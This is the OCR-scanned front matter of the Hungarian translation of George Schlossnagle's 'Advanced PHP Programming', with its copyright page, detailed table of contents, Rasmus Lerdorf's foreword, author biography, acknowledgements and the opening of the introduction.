You are on page 1of 692

A fordítás a következő angol eredeti alapján készült:

George Schlossnagle: Advanced PHP Programing

Copyright © 2004 Sams Publishing. Minden jog fenntartva!


Authorized translation from the English language edition, entitled Advanced PHP Programing,
lst Edition, ISBN 0672325616, by Schlossnagle, George, published by Pearson Education, Inc,
publishing as Que/Sams.
Copyright © 2004 by Sams Publishing
Translation and Hungárián edition © 2004 Kiskapu Kft. Ali rights reserved!
Ali rights reserved. No part of this book, including interior desing, cover design, and icons, may
be reproduced or transmitted in any form, by any means (electronic, photocopying, recording,
or otherwise) without the prior written permission of the publisher.
Trademarked names appear throughout this book. Rather than üst the names and entities that
own the trademarks or insert a trademark symbol with each mention of the trademarked name,
the publisher st.ues that it is using the names for editorial purposes only and to the benefít of
the trademark owner, with no intention of infringing upon that trademark.
Fordítás és magyar változat © 2004 Kiskapu Kft. Minden jog fenntartva!
A könyv egyetlen része sem sokszorosítható semmilyen módszerrel a Kiadó előzetes írásos
engedélye nélkül. Ez a korlátozás kiterjed a belső tervezésre, a borítóra és az ikonokra is.
A könyvben bejegyzett védjegyek és márkanevek is felbukkanhatnak. Ahelyett, hogy ezt minden
egyes helyen külön jeleznénk, a Kiadó ezennel kijelenti, hogy a műben előforduló valamennyi
védett nevet és jelzést szerkesztési célokra, jóhiszeműen, a név tulajdonosának érdekeit szem
előtt tartva használja, és nem áll szándékában az azokkal kapcsolatos jogokat megszegni, vagy
kétségbe vonni.
A szerzők és a kiadó a lehető legnagyobb körültekintéssel járt el e kiadvány elkészítésekor. Sem
a szerző, sem a kiadó nem vállal semminemű felelősséget vagy garanciát a könyv tartalmával,
teljességével kapcsolatban. Sem a szerző, sem a kiadó nem vonható felelősségre bármilyen baleset
vagy káresemény miatt, mely közvetve vagy közvetlenül kapcsolatba hozható e kiadvánnyal.

Nyelvi lektor: Rézműves László


Szakmai lektorok: Palócz István (1-5., 7., 8. f), Papp Győző (6., 9- f),
Komáromi Zoltán (10-23- f)
Fordítás: Gilicze Bálint, Rézműves László
Műszaki szerkesztő: Csutak Hoffmann Levente
Tördelés: Csutak Hoffmann Levente
Borító: Zsédely Teréz

Felelős kiadó a Kiskapu Kft. ügyvezető igazgatója


© 2004 Kiskapu Kft.
1081 Budapest, Népszínház u. 31. I. 7.
Telefon: (+36-1) 477-0443 Fax: (+36-1) 303-1619
http ://kiado .kiskapu. hu/
e-mail: kiado@kiskapu.hu

ISBN: 963 9301 80 9

Készült a debreceni Kinizsi Nyomdában


Felelős vezető: Bördős János
Áttekintés

Tartalomjegyzék
Előszó
A szerzőről
Bevezetés
I. rész Megvalósítási és fejlesztési módszerek
1. fejezet Kódolási stílusok
2. fejezet Objektumközpontú programozás tervezési minták segítségével
3. fejezet Hibakezelés
4. fejezet Megvalósítás PHP nyelven: a sablonok és a Világháló
5. fejezet Megvalósítás PHP nyelven: önálló programok
6. fejezet Egységtesztelés
7. fejezet A fejlesztőkömyezet kezelése
8. fejezet Hogyan tervezzünk jó API-t?
II.rész Gyorstárak
9. fejezet Teljesítményfokozás külső módszerekkel
10. fejezet Adatösszetevők átmeneti tárolása
11. fejezet Számítási újrahasznosítás
III. rész Elosztott alkalmazások
12. fejezet Adatbázisok használata
13. fejezet A felhasználók hitelesítése és a munkamenetek biztonsága
vi PHP fejlesztés felsőfokon

14. fejezet Munkamenetek kezelése


15. fejezet Elosztott környezet kiépítése
16. fejezet RPC: Együttműködés távoli szolgáltatásokkal

17. fejezet Teljesítménymérés: teljes alkalmazások tesztelése


18. fejezet Profilkészítés
19. fejezet Szintetikus mérés: kódblokkok és függvények értékelése
V. r
20. fejezet A PHP és a Zend Engine titkai
21. fejezet A PHP bővítése: I. rész
22. fejezet A PHP bővítése: II. rész
23. fejezet SAPI-k készítése és a Zend Engine bővítménye

Tárgymutató
Tartalomjegyzék

Előszó
A szerzőről
Bevezetés

Megvalósitási és fejlesztési módszerek


1. fejezet Kódolási stílusok
A megfelelő stílus kiválasztása .............................................................................. 4
A kód formázása és elrendezése............................................................................... 4
Behúzás................................................................................................................ 4
Sorhossz............................................................................................................... 7
Térközök használata .......................................................................................... 8
SQL irányelvek..................................................................................................... 8
Vezérlési szerkezetek............................................................................................ 9
Kapcsos zárójelek a vezérlési szerkezetekben ................................................9
A kapcsos zárójelek következetes használata..................................................10
for vagy while vagy foreach?..........................................................................11
Cikluson belüli vezérlés a break és a continue használatával.......................... 13
A mélyen egymásba ágyazott feltételek elkerülése..........................................14
viii PHP fejlesztés felsőfokon

Névszimbólumok ................................................................................................ 14
Állandók és valódi globális változók ................................................................. 16
Hosszú életű változók .......................................................................................18
Ideiglenes változók .......................................................................................... 18
Több szóból álló nevek........................................................................................ 19
Függvénynevek .................................................................................................. 19
Osztálynevek...................................................................................................... 20
Tagfüggvénynevek.............................................................................................. 20
Az elnevezések következetessége .......................................................................20
A változónevek és sémanevek egyeztetése ........................................................ 21
A zavaros kódok elkerülése ................................................................................. 22
Rövid címkék......................................................................................................22
HTML készítése echo-val....................................................................................23
Következetes zárójelezés..................................................................................... 23
Dokumentáció .....................................................................................................24
Soron belüli megjegyzések.................................................................................. 25
API dokumentáció.............................................................................................. 26
A phpDocumentor használata........................................................................ 27
További olvasmányok............................................................................................. 31

2. fejezet Objektumközpontú programozás tervezési minták segítségével


Bevezetés az objektumközpontú programozásba..................................................... 34
Öröklés ............................................................................................................ 36
Egységbe zárás....................................................................................................37
Statikus tulajdonságok és tagfüggvények............................................................. 38
Különleges tagfüggvények.................................................................................. 39
Rövid bevezetés a tervezési minták használatába .................................................. 41
Az Illesztő minta ............................................................................................. 41
A Sablon minta................................................................................................... 46
Többalakúság......................................................................................................47
Felületek és típusjelzések.................................................................................... 49
A Gyár minta .................................................................................................... 52
Az Egyke minta ............................................................................................... 54
Túlterhelés ..........................................................................................................56
PHP fejlesztés felsőfokon ix

Az SPL és a bejárók .......................................................................................... 62


_ _call() ........................................................................................................... 68
_ _autoloadO ................................................................................................... 71
További olvasmányok............................................................................................. 71

3. fejezet Hibakezelés
A hibák kezelése.................................................................................................... 76
A hibák megjelenítése ...................................................................................... 76
A hibák naplózása .............................................................................................78
A hibák figyelmen kívül hagyása.........................................................................79
Műveletek végzése hiba esetén .......................................................................... 80
A külső hibák kezelése........................................................................................... 81
Kivételek................................................................................................................85
Kivételhierarchiák használata............................................................................. 88
Típusos kivételek - egy példa .............................................................................90
A kivételek láncolása.......................................................................................... 96
Konstruktőrön belüli hibák kezelése ...................................................................99
Felső szintű kivételkezelő beállítása.................................................................. 100
Adatérvényesítés ............................................................................................ 103
Mikor használjunk kivételeket? .......................................................................... 108
További olvasmányok........................................................................................... 108

4. fejezet Megvalósítás PHP nyelven: a sablonok és a Világháló


Smarty................................................................................................................. 110
A Smarty telepítése........................................................................................... 111
Első Smarty sablonunk: Hello, Világ! .............................................................112
Lefordított sablonok a háttérben ..................................................................... 113
A Smarty vezérlési szerkezetei.......................................................................... 114
A Smarty függvényei és egyebek........................................................................117
Átmeneti tárolás a Smarty-val........................................................................... 120
A Smarty haladó szolgáltatásai..........................................................................122
Saját sablonrendszer készítése.............................................................................. 123
További olvasmányok........................................................................................... 125
x PHP fejlesztés felsőfokon

5. fejezet Megvalósítás PHP nyelven: önálló programok


A PHP parancssori felülete: bevezetés...................................................................129
A bemenet és kimenet kezelése ..........................................................................130
A parancssori argumentumok feldolgozása...........................................................132
Gyermekfolyamatok létrehozása és kezelése ...................................................... 135
A megosztott erőforrások bezárása.................................................................... 136
Változók megosztása .......................................................................................137
Takarítás a gyermekek után...............................................................................137
Jelzések ...........................................................................................................139
SIGCHLD .................................................................................................. 140
SIGALRM.....................................................................................................142
Egyéb szokványos jelzések...........................................................................144
Démonok írása ................................................................................................... 144
A munkakönyvtár megváltoztatása.................................................................... 145
A kiváltságok feladása ................................................................................... 146
A kizárólagosság biztosítása..............................................................................147
A tanultak összefoglalása: figyelőszolgálat ........................................................ 147
További olvasmányok........................................................................................... 157

6. fejezet Egységtesztelés
Bevezetés az egységtesztelésbe............................................................................. 161
Egységtesztek írása automatikus egységteszteléshez ........................................ 161
Első egységtesztünk.......................................................................................... l6l
Több teszt hozzáadása.......................................................................................163
Kódon belüli és kívüli egységtesztek.....................................................................164
Kódon belüli tesztelés .................................................................................... 164
Önálló tesztek ................................................................................................ 166
Egyszerre több teszt futtatása............................................................................ 168
A PHPUnit további szolgáltatásai......................................................................... 169
Beszédesebb hibaüzenetek létrehozása.............................................................. 170
Több tesztfeltétel hozzáadása............................................................................ 171
A setUpO és tearDownO tagfüggvények használata.......................................... 173
Figyelők hozzáadása ...................................................................................... 174
Grafikus felület használata................................................................................176
PHP fejlesztés felsőfokon xi

Tesztvezérelt tervezés ..........................................................................................176


A Flesch pontszámító........................................................................................ 177
A Word osztály tesztelése..................................................................................178
1. hibajelentés ................................................................................................186
Egységtesztelés webes környezetben .................................................................. 188
További olvasmányok........................................................................................... 191

7. fejezet A fejlesztőkörnyezet kezelése


Változatkezelés ................................................................................................... 194
A CVS alapjai ................................................................................................. 195
A fájlok módosítása ........................................................................................198
A fájlok különbségeinek vizsgálata .................................................................199
Több fejlesztő egy munkán ............................................................................. 202
Jelzőcímkék.......................................................................................................204
Ágak................................................................................................................. 205
A fejlesztési és üzemi környezet fenntartása...................................................... 206
Csomagkezelés ................................................................................................... 211
A kód csomagolása és kibocsátása..................................................................... 213
Bináris állományok csomagolása....................................................................... 216
Az Apache csomagolása.................................................................................... 217
A PHP csomagolása ........................................................................................ 218
További olvasmányok........................................................................................... 219

8. fejezet Hogyan tervezzünk jó API-t?


Újraépíthetőség és bővíthetőség ......................................................................... 222
A logika függvényekbe zárása ......................................................................... 223
Egyszerű osztályok és függvények használata .................................................. 224
Névterek használata.......................................................................................... 225
A csatolás csökkentése...................................................................................... 227
Védekező kódolás.................................................................................................228
Kódolási szabványok felállítása ......................................................................229
Fertőtlenítési eljárások használata .................................................................. 229
További olvasmányok...........................................................................................231
xii PHP fejlesztés felsőfokon

Gyorstárak
9. fejezet Teljesítményfokozás külső módszerekkel
Teljesítményfokozás a nyelv szintjén.................................................................... 235
Fordítói gyorstárak............................................................................................236
Nyelvi optimalizálok ...................................................................................... 239
HTTP gyorsítók ............................................................................................. 240
Fordított helyettesek.......................................................................................... 242
Teljesítményfokozás az operációs rendszer szintjén........................................... 246
Helyettes gyorstárak.......................................................................................... 247
Gyorstárbarát PHP alkalmazások..........................................................................248
Tartalomtömörítés................................................................................................ 253
További olvasmányok........................................................................................... 254
RFC-k............................................................................................................... 254
Fordítói gyorstárak............................................................................................254
Helyettes gyorstárak.......................................................................................... 255
Tartalomtömörítés ..........................................................................................255

10. fejezet Adatösszetevők átmeneti tárolása


A gyorstárazással kapcsolatos kérdések ............................................................. 258
A gyorstárakban tárolható adatösszetevők felismerése .........................................259
Saját vagy előre elkészített osztályok - melyiket válasszuk? ............................... 259
Gyorstárak a memóriában.....................................................................................263
Gyorstárak szerkezet nélküli fájlokban.............................................................. 263
A gyorstár méretének fenntartása...................................................................... 263
A gyorstárak egyidejű használata és összhangja.................................................264
DBM alapú gyorstárak......................................................................................... 271
A gyorstárak egyidejű elérése és összhangja ................................................... 273
A tartalom érvénytelenítése és a gyorstárak karbantartása..................................273
Gyorstár a megosztott memóriában...................................................................... 278
Süti alapú gyorstárak........................................................................................... 279
A gyorstár méretének kezelése.......................................................................... 284
Egyidejű hozzáférés és az adatok összhangja.....................................................285
Gyorstárak használata az alkalmazásokban.......................................................... 285
PHP fejlesztés felsőfokon xiii

Honlapok tárolása ........................................................................................... 288


Az Apache mod_rewrite modulja — tárolás okosan ........................................295
Oldalak részeinek tárolása.................................................................................299
Lekérdezések és gyorstárak .............................................................................. 302
További olvasmányok........................................................................................... 304

11. fejezet Számítási újrahasznosítás


Példa: a Fibonacci-sorozat.................................................................................... 305
Újrahasznosítható adatok tárolása egy kérelmen belül ........................................312
Újrahasznosítható adatok tárolása kérelmek között............................................... 315
Számítási újrahasznosítás a PHP-ben....................................................................319
PCRE-k............................................................................................................. 319
Elemszám és hossz............................................................................................320
További olvasmányok........................................................................................... 320

Elosztott alkalmazások
12. fejezet Adatbázisok használata
Ismerkedés az adatbázisok és lekérdezések működésével ....................................324
Lekérdezések vizsgálata az EXPLAIN segítségével...............................................327
Melyik lekérdezést javítsuk?.............................................................................. 329
Adatbázis-elérési minták...................................................................................... 331
Ad hoc lekérdezések ........................................................................................332
Az aktív rekord minta....................................................................................... 333
A leképező minta.............................................................................................. 335
Az egyesített leképező minta ........................................................................... 341
Az adatbázis-elérés hatékonyságának növelése..................................................... 343
Az eredményhalmaz korlátozása .................................................................... 343
Lusta előkészítés ............................................................................................ 345
További olvasmányok........................................................................................... 348
xiv PHP fejlesztés felsőfokon

13. fejezet A felhasználók hitelesítése és a munkamenetek biztonsága


Egyszerű hitelesítési sémák.................................................................................. 350
Egyszerű HTTP-hitelesítés ............................................................................. 351
A lekérdezési karakterlánc csatolása ...............................................................352
Sütik használata ..............................................................................................352
Felhasználók bejegyzése....................................................................................... 354
A jelszavak védelme..........................................................................................354
Védelem az emberi tényező kihasználása ellen ................................................ 357
A hitelesítés fenntartása - hogyan győződjünk meg arról,
hogy még mindig ugyanahhoz beszélünk? .......................................................... 358
A $_SERVER[REMOTE_IP] változatlanságának ellenőrzése............................358
A $_SERVER[USER_AGENT] változatlanságának ellenőrzése ...................... 359
Titkosítatlan sütik használata .......................................................................... 359
A követendő módszerekről ............................................................................. 359
Titkosítás használata................................................................................... 360
Az elavulás megvalósítása........................................................................... 360
Felhasználók azonosítása .......................................................................... 361
Hitelesítés a gyakorlatban - egy példa................................................................ 361
Egyszeri feliratkozás ......................................................................................... 367
Az egyszeri feliratkozás megvalósítása.............................................................. 369
További olvasmányok........................................................................................... 375

14. fejezet Munkamenetek kezelése


Ügyfél oldali munkamenetek ............................................................................. 378
Munkamenetek megvalósítása sütik segítségével............................................... 379
A példa továbbfejlesztése...................................................................................382
Kiszolgáló oldali munkamenetek .......................................................................383
A munkamenet-azonosító nyomon követése.......................................................385
Beépített módszerek a munkameneti azonosítók követésére ........................385
A PHP munkamenetek alapjai ......................................................................... 387
Saját munkamenet-kezelő módszerek ............................................................. 389
Szemétgyűjtés................................................................................................... 395
Szemétgyűjtés a files kezelőben ..................................................................396
PHP fejlesztés felsőfokon xv

Szemétgyűjtés az mm kezelőben.................................................................. 396


Szemétgyűjtés a MySession kezelőben ....................................................... 396
Ügyfél vagy kiszolgáló oldali munkamenetek - melyiket válasszuk?.................. 397
Saját beépített munkamenet-kezelők megvalósítása........................................... 397

15. fejezet Elosztott környezet kiépítése


Mi is az a fürt?..................................................................................................... 399
Fürtök tervezése ................................................................................................. 402
Fő az előrelátás .............................................................................................. 403
Csapatjáték....................................................................................................... 404
A függvények névterei .............................................................................. 404
Hivatkozzunk a szolgáltatásokra teljes leíró nevekkel! .............................. 405
Az erőforrások névterei................................................................................ 405
Tartalom elosztása a fürtökben.......................................................................... 406
Vízszintes méretezés ...................................................................................... 407
Különleges célú fürtök...................................................................................... 407
Gyorstárak elosztott környezetben ..................................................................... 408
Központosított gyorstárak ...............................................................................411
Teljesen szétterített gyorstárak készítése a Spread segítségével ........................ 413
Adatbázisok méretezése .....................................................................................417
Mester-szolga rendszerekre épülő alkalmazások készítése ............................... 421
A többszörözés alternatívái .............................................................................423
A relációs adatbázis-kezelő rendszerek alternatívái .......................................... 424
További olvasmányok........................................................................................... 425

16. fejezet RPC: Együttműködés távoli szolgáltatásokkal


XML-RPC............................................................................................................. 428
Egy kiszolgáló felépítése: a MetaWeblog API megvalósítása .......................... 430
Az XML-RPC szolgáltatások automatikus felderítése........................................ 435
SOAP................................................................................................................... 438
WSDL............................................................................................................... 441
A sysem.load átírása SOAP szolgáltatássá.........................................................443
xvi PHP fejlesztés felsőfokon

Amazon webszolgáltatások és összetett típusok................................................. 446


Helyettes kód készítése .................................................................................... 448
A SOAP és az XML-RPC összehasonlítása ........................................................449
További olvasmányok........................................................................................... 450
SOAP .............................................................................................................. 450
XML-RPC ........................................................................................................ 450
Webnaplózás ...................................................................................................451
Nyilvánosan elérhető webszolgáltatások .......................................................... 451

Teljesítmény
17. fejezet Teljesítménymérés: teljes alkalmazások tesztelése
A szűk keresztmetszetek passzív azonosítása ...................................................... 456
Terhelésképzők.................................................................................................... 458
ab......................................................................................................................459
httperf .............................................................................................................460
A napló alapú terhelésképző ..................................................................... 461
A munkamenet-szimulátor ........................................................................462
A valósághű adatképző................................................................................ 462
Daiquiri ......................................................................................................... 463
További olvasmányok........................................................................................... 464

18. fejezet Profilkészítés


A jó PHP profilkészítő titka.................................................................................. 466
Profilkészítő alkalmazások - a bőség zavarával küszködve....................................466
Az APD telepítése és használata ........................................................................ 467
Egy nyomkövetési példa....................................................................................... 469
Egy nagyobb alkalmazás profiljának elkészítése................................................... 471
Az általános gyengeségek felderítése ................................................................. 477
A felesleges szolgáltatások eltávolítása ............................................................... 480
További olvasmányok........................................................................................... 485
PHP fejlesztés felsőfokon xvii

19. fejezet Szintetikus mérés: kódblokkok és függvények értékelése


A mérés alapjai .................................................................................................. 489
A mérési környezet kiépítése ............................................................................. 489
A PEAR mérőcsomagja.....................................................................................490
A mérőrendszer kiépítése.................................................................................. 493
Véletlen adatok lépésenkénti használata .........................................................494
A mérőrendszer terhelésének levonása ........................................................... 495
Egyéb időmérési adatok.................................................................................... 497
Mérések a kódban ........................................................................................... 500
Mérési példák .....................................................................................................501
Karakterek keresése a karakterláncok elején...................................................... 502
Makrókifejtés .................................................................................................. 503
Beszúrás vagy összefűzés?.................................................................................510

B ovíthetoseg
20. fejezet A PHP és a Zend Engine titkai
A Zend Engine működése: opkódok és optömbök................................................. 516
Változók .............................................................................................................522
Függvények.......................................................................................................... 526
Osztályok .......................................................................................................... 528
Az objektumkezelők ....................................................................................... 530
Objektumok létrehozása ................................................................................. 531
Más fontos adatszerkezetek .............................................................................. 531
A PHP kérelmek életciklusa ...............................................................................534
A SAPI réteg..................................................................................................... 535
A PHP magja ................................................................................................. 537
A PHP bővítési API ............................................................................................ 538
A Zend bővítési API.......................................................................................... 539
Összeáll a kép ................................................................................................. 541
xviii PHP fejlesztés felsőfokon

21. fejezet A PHP bővítése: I. rész


A bővítmények alapjai..........................................................................................544
Bővítményváz készítése.....................................................................................545
Bővítmények felépítése és engedélyezése .......................................................... 548
Függvények használata .................................................................................. 549
Egy egyszerű példa...................................................................................... 549
A típusok és a memória kezelése....................................................................... 551
Karakterláncok feldolgozása .......................................................................... 555
Más visszatérési makrók ............................................................................. 556
Típusok kezelése............................................................................................... 557
Típusátalakítások és elérési makrók.................................................................. 562
Erőforrások használata......................................................................................566
Hibák visszaadása .......................................................................................... 571
Modulhorgok használata ................................................................................ 572
Modulok indítása és leállítása...................................................................... 572
Modulok kikapcsolása .............................................................................. 578
Kérelmek indítása és kikapcsolása ............................................................ 579
Egy példa: a Spread ügyfél burkolója ..................................................................581
MINIT...............................................................................................................582
MSHUTDOWN................................................................................................. 583
A modul függvényei.......................................................................................... 583
A Spread modul használata ............................................................................ 591
További olvasmányok........................................................................................... 592

22. fejezet A PHP bővítése: II. rész


Osztályok megvalósítása...................................................................................... 593
Új osztály létrehozása........................................................................................595
Tulajdonságok hozzáadása................................................................................ 596
Osztályöröklés.................................................................................................. 598
Tagfüggvények hozzáadása .............................................................................. 599
Konstruktőrök hozzáadása................................................................................ 602
Kivételek kiváltása............................................................................................603
Saját objektumok és privát változók.................................................................. 604
PHP fejlesztés felsőfokon xix

Gyártófüggvények használata .........................................................................607


Felületek létrehozása és megvalósítása ........................................................... 608
Saját munkamenet-kezelők készítése ................................................................. 610
A folyamkezelő API............................................................................................. 615
További olvasmányok........................................................................................... 626

23. fejezet SAPI-k készítése és a Zend Engine bővítménye


A SAPI-król ........................................................................................................627
A CGI SÁPI.......................................................................................................627
A CGI SÁPI alkalmazás....................................................................................635
A beágyazási SÁPI .........................................................................................638
SÁPI bemeneti szűrők .................................................................................... 640
input_filter ............................................................................................... 641
A treat_data és a default_post_reader........................................................... 645
A Zend Engine módosítása és belső vizsgálata ....................................................646
Figyelmeztetések helyett kivételek.....................................................................646
Opkódok kiíratása ........................................................................................... 649
APD ................................................................................................................. 652
APC ................................................................................................................ 654
A Zend bővítmények visszahívható függvényei..................................................654
Házi feladat.......................................................................................................... 657

Tárgymutató 659
Előszó

Nemrég lapozgattam William Gibson könyveit és az Ali Tomorrow's Parties című kötetben
erre bukkantam:

Ami túltervezett vagy túl egyedi, annak eredménye mindig előre látható, és ez az előre
láthatóság, ha nem is bukással, de az elegancia hiányával jár.

Gibson elegánsan foglalja össze, miért bukik meg sok rendszer. A színes négyszögek táb-
lára rajzolásával nincs semmi baj, de eme ragaszkodásunk a bonyolulthoz hatalmas hát-
rányt jelent. Amikor megtervezünk valamit, arra van szükség, hogy az adott problémára
adjunk megoldást. Nem szabad előre tekintenünk, hogy a probléma vajon mi lesz évekkel
később, egy nagyméretű, összetett felépítményben, amikor pedig egy általános célú esz-
közt építünk, nem szabad túlzott konkrétsággal megkötnünk a felhasználó kezét.

A PHP maga is e kettő - a webes feladatok megoldásának konkrétsága, illetve egy bizo-
nyos, a felhasználók kezét megkötő megoldás megadására való hajlam - között egyensú-
lyoz. Kevesen mondanák a PHP-re, hogy elegáns. Parancsnyelvként számos, a Világháló
csataterein többéves szolgálat közben szerzett sebet hordoz. Ami elegáns benne, az
a megközelítés egyszerűsége.

Minden fejlesztő időről időre váltogatja, milyen megközelítést alkalmaz egy-egy feladat
megoldására. Kezdetben az egyszerű megoldásokat részesítik előnyben, mert nem elég
tapasztaltak ahhoz, hogy a bonyolultabb elveket megértsék. Ahogy tudásuk gyarapszik,
az alkalmazott megoldások egyre bonyolultabbak lesznek, és a megoldható feladatok
nagysága is fokozatosan nő. Ekkor fenyeget annak a veszélye, hogy az összetettség rutin-
ná válik és csapdába ejt.

Elegendő idő és erőforrás birtokában minden feladat megoldható szinte bármilyen esz-
közzel. Az eszköz csupán arra való, hogy ne legyen útban. A PHP éppen erre törekszik.
Nem kényszerít ránk semmilyen programozási megközelítést, és igyekszik a lehető legki-
sebbre csökkenteni a közénk és a megoldandó probléma közé beékelődő rétegek számát.
xxii PHP fejlesztés felsőfokon

Ez azt jelenti, hogy a PHP-ben minden adott, hogy megtaláljuk a legegyszerűbb és legele-
gánsabb megoldást, és ne kelljen elvesznünk a rétegek és felületek nyolc előadóterem
tábláit elfoglaló tengerében.

Természetesen az, hogy minden eszközt megkapunk, amivel elkerülhetjük egy szörnye-
teg építését, nem garantálja, hogy így is lesz. De szerencsére itt van nekünk George és ez
a könyv. George olyan utazásra hív minket, ami saját útjára hasonlít, nem csupán a PHP-
vel, hanem a programfejlesztéssel és problémamegoldással kapcsolatban általában. Pár
napnyi olvasás után elsajátíthatjuk mindazt a tudást, amit ő a területen évek munkájával
szerzett meg. Nem rossz üzlet, úgyhogy nem is érdemes e haszontalan előszóval veszte-
getni az időt - irány az első fejezet és az utazás!

Rasmus Lerdorf
A szerzőről
George Schlossnagle igazgatóként dolgozik az OmniTI Computer Consulting nevű marylan-
di cégnél, amelynek szakterületét a nagyméretű webes és elektronikus levelezési rendsze-
rek jelentik. Mielőtt az OmniTI-hez került volna, technikai vezetője volt számos magas-
szintű közösségi webhelynek, ahol tapasztalatokat szerzett a PHP igen nagy vállalati kör-
nyezetekben történő alkalmazásával kapcsolatban. Állandó résztvevője a PHP közösség
munkájának, hozzájárult többek között a PHP mag, illetve a PEAR és PECL bővítménytá-
rak fejlesztéséhez.

Mielőtt az információ-technológia területére lépett volna, George matematikusnak készült,


és két évig szolgált a Békehadtestben, mint tanár. Tapasztalatai megtanították arra, hogy
a problémamegoldásban értékelje az interdiszciplináris megközelítést, ami a bajok gyöke-
réig hatol, nem csupán a tüneteket kezeli.

Köszönetnyilvánítás

A könyv írása során rengeteget tanultam, és ezt mindenkinek meg szeretném köszönni,
aki segítette munkámat. A PHP valamennyi fejlesztőjének köszönöm, hogy kemény mun-
kával ilyen nagyszerű terméket állítottak elő. Állandó erőfeszítéseik nélkül e kötetnek
nem lett volna témája.

Shelley Johnston, Dámon Jordán, Sheila Schroeder, Kitty Jarrett, és a Sams kiadó többi
munkatársa: köszönöm, hogy bizalmat szavaztak nekem és könyvemnek. Nélkülük ez
csak egy meg nem valósult ábránd lenne.

Műszaki szerkesztőim, Brian Francé, Zak Greant és Sterling Hughes: köszönöm a fejezet-
vázlatok elolvasására és megjegyzésekkel ellátására szánt időt és energiát, ami nélkül -
biztos vagyok benne - a könyv befejezetlen maradt volna, és tele lenne hibával.

Testvéremnek, Theo-nak: köszönöm a folyamatos szakmai kritikát és ösztönzést, valamint


azt, hogy átvetted a munkámat, amikor a könyv befejezésén dolgoztam.
xxiv PHP fejlesztés felsőfokon

Szüleimnek: köszönöm, hogy azzá neveltetek, aki ma vagyok, és különösen hálás vagyok
anyámnak, Sherrynek, aki nagylelkűen végigolvasta a könyv valamennyi fejezetét. Remé-
lem, büszkék lehettek rám.

És aki a legfontosabb, feleségem, Pei: köszönöm, hogy megingathatatlanul mellettem áll-


tál és egy éven át önzetlenül feláldoztad az éjszakákat és hétvégéket, hogy dolgozhassam
a könyvön. Örökké hálás leszek a szeretetért, türelemért és támogatásért.
Bevezetés

Ez a könyv arra törekszik, hogy az Olvasóból szakértő PHP programozót faragjon. Szakér-
tő programozónak lenni nem csupán annyit jelent, hogy tökéletesen ismerjük a nyelvtant
és a nyelv szolgáltatásait (bár ez kétségkívül segít), hanem azt is, hogy képesek vagyunk
hatékonyan használni feladatok megoldására. A könyv elolvasása után tisztában leszünk
a PHP erősségeivel és gyengéivel, valamint a webes és más feladatok megoldásának leg-
jobb módszereivel.

A kötet az elveket tartja szem előtt, így általános problémákat ír le, és ezekre ad egy-egy
konkrét példát, szemben a „szakácskönyv" szemléletű könyvekkel, amelyekben mind
a problémák, mind a megoldások egyediek. Ahogy az angol mondás tartja: „Adj egy halat,
és egy napig van mit ennem - taníts meg halászni, és soha többé nem éhezem." A kötet
célja, hogy megtanítsa az eszközök használatát, amelyekkel bármilyen feladatot megold-
hatunk, és hogy megtanítsa kiválasztani a megfelelő eszközt.

Véleményünk szerint a legkönnyebb példákon keresztül tanulni, ezért a könyvben renge-


teg gyakorlati példa szerepel, amelyek bemutatják a tárgyalt fogalmakat. A valós környe-
zettel nem rendelkező elméleti példák nem sokat érnek, így a könyvben csak valódi fel-
adatok elvégzésére alkalmas, „igazi" kódokat találunk. Nem használtunk olyan osztályne-
veket, mint az angol nyelvű példákban gyakori Foo és Bar; ahol csak lehetséges volt,
igyekeztünk létező nyílt forrású programokból venni a példákat, hogy igazi megvalósítá-
sokat lássunk.
xxvi PHP fejlesztés felsőfokon

A PHP az üzleti életben

Amikor 1999-ben elkezdtem hivatásszerűen foglalkozni a PHP programozással, a nyelv ép-


pen csak kezdett több lenni egy újabb, amatőrök által használt parancsnyelvnél. Akkor adták
ki a PHP 4-et az első Zend motorral, ami gyorsabbá és stabilabbá tette a nyelvet. A PHP-t
használók száma ugrásszerűen növekedni kezdett, de a nagy, üzleti célú webhelyek számára
még mindig nehéz volt eladni. A nehézség leginkább két forrásból eredt:

• A Perl, ColdFusion és más parancsnyelveken fejlesztők nem frissítették ismereteiket


a PHP fejlődésével, így nem voltak tisztában az új képességekkel.
• A Java nyelven fejlesztők nagy és teljes keretrendszereket, erőteljes objektumköz-
pontú támogatást, statikus típusokat és más, „üzleti" képességeket kívántak.

Mára egyik sem jelent akadályt. A PHP többé nem ragasztónyelv, amit lelkes amatőrök
használnak, hanem erőteljes parancsnyelv, amelyet felépítése ideálissá tesz a webes fel-
adatok megoldására.

Egy programozási nyelv hat követelménynek kell, hogy eleget tegyen, hogy üzleti célú al-
kalmazásokban is használhatóvá váljon:

• Gyors prototípus-készítés és megvalósítás


• A modern programozási megközelítések (paradigmák) támogatása
• Méretezhetőség
• (Kiváló) teljesítmény
• Együttműködési képesség
• Bővíthetőség

Az első követelmény - a gyors prototípus-készítési lehetőség - születése óta erőssége


a PHP-nek. A webes fejlesztések és a celofánba csomagolt szoftvertermékek közötti egyik
lényeges különbség, hogy a Weben egy termék „leszállításának" szinte semmilyen költsé-
ge nincs. A csomagolt termékek esetében azonban egy aprócska hiba is azt jelentheti,
hogy ezernyi CD-t írattunk tele hibás kóddal, és ezt csak úgy javíthatjuk ki, ha értesítjük
valamennyi érintett vásárlót a hibajavítás létezéséről, és rávesszük őket, hogy töltsék le és
telepítsék. A webes hibajavításoknál elég, ha a felhasználó legközelebb újra betölti az ol-
dalt, ezért a webalkalmazások rugalmasan és gyakran frissíthetők.

A parancsnyelvek általában is kitűnőek rugalmas programok fejlesztésére, mert lehetővé


teszik, hogy anélkül fejlesszünk gyorsan és próbáljunk ki új ötleteket, hogy ismételten vé-
gig kellene járnunk a fordítás—összeszerkesztés—tesztelés-hibakeresés procedúráját.
A PHP különösen jó az ilyesmire, mert nagyon gyorsan tanulható, így új fejlesztőket mini-
mális tapasztalattal is bevonhatunk.
PHP fejlesztés felsőfokon xxvii

A PHP 5 a többi követelménynek is maradéktalanul megfelel. Amint a könyvben látni fog-


juk, a PHP új objektummodellje erőteljes és a szabványoknak megfelelő objektumköz-
pontú támogatást nyújt. A PHP fürge és méretezhető, köszönhetően az alkalmazható
programozási stratégiáknak, illetve annak, hogy az üzleti logika létfontosságú részeit
könnyű újra megvalósítani valamilyen alacsonyszintű nyelven. A nyelv emellett tengernyi
bővítményt biztosít a más szolgáltatásokkal való együttműködésre, az adatbázis-kiszolgá-
lóktól a SOAP-ig. Végül, a PHP megfelel a programozási nyelvek legfontosabb követelmé-
nyének: egyszerűen bővíthető. Ha a nyelv nem rendelkezne a számunkra szükséges szol-
